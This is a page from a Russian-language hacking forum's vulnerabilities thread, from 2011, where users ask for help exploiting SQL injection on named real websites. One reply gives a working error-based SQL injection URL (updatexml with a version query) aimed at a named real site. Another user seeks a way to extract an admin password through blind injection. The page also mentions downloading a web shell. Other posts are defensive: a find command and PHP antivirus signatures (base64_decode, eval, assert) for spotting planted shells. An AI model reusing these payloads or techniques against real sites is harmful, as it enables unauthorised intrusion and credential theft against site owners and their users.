HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #18071  
Старый 10.09.2011, 21:40
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

heks, нужно фильтровать данные, которые пользователь может передать скрипту.
 
Ответить с цитированием

  #18072  
Старый 12.09.2011, 03:48
Faaax
Guest
Сообщений: n/a
Провел на форуме:
124363

Репутация: 11
По умолчанию

подскажите как раскрутить эту скулю?

Код:
Code:
http://www.euromet.ru:80/search/?search=1'
 
Ответить с цитированием

  #18073  
Старый 12.09.2011, 06:40
sourcec0de
Guest
Сообщений: n/a
Провел на форуме:
10040

Репутация: 7
По умолчанию

Цитата:
Сообщение от Faaax  
Faaax said:
подскажите как раскрутить эту скулю?
Код:
Code:
http://www.euromet.ru:80/search/?search=1'
Там несколько запросов

Код:
Code:
http://www.euromet.ru/search/?search=ololo' and updatexml(0x03b,concat(0x3b,(select version())),0x03b)-- x
 
Ответить с цитированием

  #18074  
Старый 13.09.2011, 16:05
Ochki
Guest
Сообщений: n/a
Провел на форуме:
630

Репутация: 0
По умолчанию

Народ Как можно найти чужой шелл на севере ?

Интересны варианты обнаружения посторонних шелов
 
Ответить с цитированием

  #18075  
Старый 13.09.2011, 16:09
o'clock
Новичок
Регистрация: 16.05.2009
Сообщений: 12
Провел на форуме:
135091

Репутация: 2
По умолчанию

если консоль активна, то можно например так:

Код:
Code:
find / -type f -size +20k -name "*.php"
выведет все пути до фалов с маской *.php размер которых более 20 кб. т.е. всо(~22 и ~67 кб) и всякие другие.
 
Ответить с цитированием

  #18076  
Старый 13.09.2011, 16:39
Faaax
Guest
Сообщений: n/a
Провел на форуме:
124363

Репутация: 11
По умолчанию

Цитата:
Сообщение от Ochki  
Ochki said:
Народ Как можно найти чужой шелл на севере ?
Интересны варианты обнаружения посторонних шелов
был у меня один скрипт,если найду,то выложу здесь!

даже шелл нашёл который даёт такую функцию!

скачать

P.S. шелл проверь сначала!
 
Ответить с цитированием

  #18077  
Старый 13.09.2011, 17:49
Kuteke
Guest
Сообщений: n/a
Провел на форуме:
60692

Репутация: 6
По умолчанию

o'clock,

а серв не за ддосишь этим?)

Ochki,

PhPAntiVirus скачай, он не грузить серв вообще, сколько бы там не было файлов! Открой там virus.def и измени содержимое на

Код:
Code:
SHELL	(base64_decode
SHELL	eval
SHELL	assert
SHELL	auth_pass
 
Ответить с цитированием

  #18078  
Старый 13.09.2011, 18:31
Unknown
Guest
Сообщений: n/a
Провел на форуме:
42706

Репутация: 6
По умолчанию

Нашел Post уязвимость на сайте

http://mirbek-star.3dn.ru/load/audio/mirbek_atabekov_tan_syry_skachat_v_formate_mp3/1-1-0-51

Data:id=1&a=1&ajax=370

Что бы по быстрому добраться до базы использовал Havij и WebCruiser ни 1 не смог потому что символы там не понятные..пытается что то сблиндить и не как,есть варианты как пасс админа вытащить если символы не англ?

Заранее спасибо.
 
Ответить с цитированием

  #18079  
Старый 13.09.2011, 19:53
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от Kuteke  
Kuteke said:


Помогите раскрутить!

Код:
Code:
/?id=5934
P.S. С меня наградка в ПМ...



там нет инъекции
 
Ответить с цитированием

  #18080  
Старый 13.09.2011, 20:11
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от попугай  
попугай said:
там нет инъекции
там пасивная XSS
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ